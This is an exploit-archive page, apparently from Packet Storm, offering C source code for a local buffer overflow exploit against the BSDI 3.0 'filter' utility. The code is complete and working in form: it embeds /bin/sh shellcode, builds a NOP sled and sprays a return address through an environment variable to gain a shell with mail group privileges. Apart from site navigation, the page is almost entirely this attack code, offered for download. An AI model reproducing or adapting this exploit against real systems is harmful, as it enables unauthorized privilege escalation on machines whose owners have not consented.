exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

bsdi_filter.c

bsdi_filter.c
Posted Nov 14, 2000
Authored by vade79, realhalo | Site realhalo.org

BSDI /usr/contrib/bin/filter v2.* local buffer overflow exploit. Tested on BSDI 3.0, provides a shell with GID mail.

tags | exploit, overflow, shell, local
SHA-256 | e534fc0c8aa82b47dead2e0e671e1935ad2cdccabd46b611e35f366b86b24a78

bsdi_filter.c

Change Mirror Download
/* (BSDi)filter[v2.*] buffer overflow, by v9[v9@fakehalo.org].  this exploit
yields egid/group=14(mail) on BSDi/3.0 systems with the filter package.

note: you have to press ^D to overflow the buffer, and launch the shell.
*/
#define PATH "/usr/contrib/bin/filter" /* path to filter on BSDi/3.0. */
#define DEFAULT_OFFSET -3000 /* general offset, a lot of room. */
static char exec[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
"\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
"\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
"\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char eip[520],buf[4096];
int i,offset;
long ret;
printf("[ (BSDi)filter[v2.*]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(pointer()-offset);
for(i=0;i<520;i+=4){*(long *)&eip[i]=ret;}
eip[520]=0x0;
for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
memcpy(buf+i,exec,strlen(exec));
memcpy(buf,"EXEC=",5);putenv(buf);
printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
printf("*** [note]: hit CTRL-D overwrite eip, and launch a shell.\n");
if(execlp(PATH,"filter","-f",eip,0)){
printf("*** [error]: could not execute %s successfully.\n",PATH);
exit(1);
}
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close